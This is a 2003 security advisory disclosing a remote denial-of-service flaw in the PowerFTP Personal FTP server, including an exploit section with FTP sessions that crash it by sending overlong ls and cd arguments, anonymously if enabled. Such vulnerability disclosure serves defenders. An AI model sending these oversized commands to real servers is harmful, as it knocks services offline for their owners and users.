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Security Corporation Security Advisory [SCSA-015]

Remote Denial of Service Vulnerability in PowerFTP
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PROGRAM: PowerFTP
HOMEPAGE: http://www.cooolsoft.com
VULNERABLE VERSIONS: 2.25 and prior ?
RISK: Medium/High
IMPACT: Denial Of Service
RELEASE DATE: 2003-04-01

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TABLE OF CONTENTS
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1..........................................................DESCRIPTION
2..............................................................DETAILS
3..............................................................EXPLOIT
4............................................................SOLUTIONS
5........................................................VENDOR STATUS
6..............................................................CREDITS
7...........................................................DISCLAIMER
8...........................................................REFERENCES
9.............................................................FEEDBACK

1. DESCRIPTION
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PowerFTP is a "powerful FTP client/server software. The best feature
of PowerFTP is the function of multiple thread downloading and
uploading. It can even split one big file into several parts, and
download each part at one time! With PowerFTP, you will get the
FASTEST transferring speed! Another good feature of this product is
Personal FTP server. It can make your computer as a standard FTP
server. You can add or remove account, edit share directory
accessing permission."

(direct quote from http://www.cooolsoft.com)


2. DETAILS
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¤ Remote DoS :

A security vulnerability in Personal FTP server (FTP's server of
PowerFTP) allows remote attackers to cause the server to crash by
executing a specific command (ls and cd command) with a buffer of 1994
or 1995 bytes in length or more.

The command can be issued to the FTP server either by a valid
authenticated user or by the anonymous account (if this is enabled).


3. EXPLOIT
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The following is an example of what should be done to accomplish the
Denial of Service attack:

- With the ls command :

C:\>ftp target
Connected to target.
220 Personal FTP Server ready
User (target:(none)): anonymous
331 Password required for anonymous.
Password:
230 User anonymous logged in.
ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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- With the cd command :

C:\>ftp target
Connected to target.
220 Personal FTP Server ready
User (target:(none)): anonymous
331 Password required for anonymous.
Password:
230 User anonymous logged in.
ftp> cd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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4. SOLUTIONS
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No solution for the moment.


5. VENDOR STATUS
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The vendor has reportedly been notified.


6. CREDITS
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Discovered by Gregory Le Bras


7. DISLAIMER
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The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatsoever arising out of
or in connection with the use or spread of this information. Any use
of this information is at the user's own risk.


8. REFERENCES
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- Original Version:
http://www.security-corporation.com/index.php?id=advisories&a=015

- Version Française:
http://www.security-corporation.com/index.php?id=advisories&a=015-FR


9. FEEDBACK
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Please send suggestions, updates, and comments to:

Security Corporation
http://www.security-corporation.com/
info@security-corporation.com



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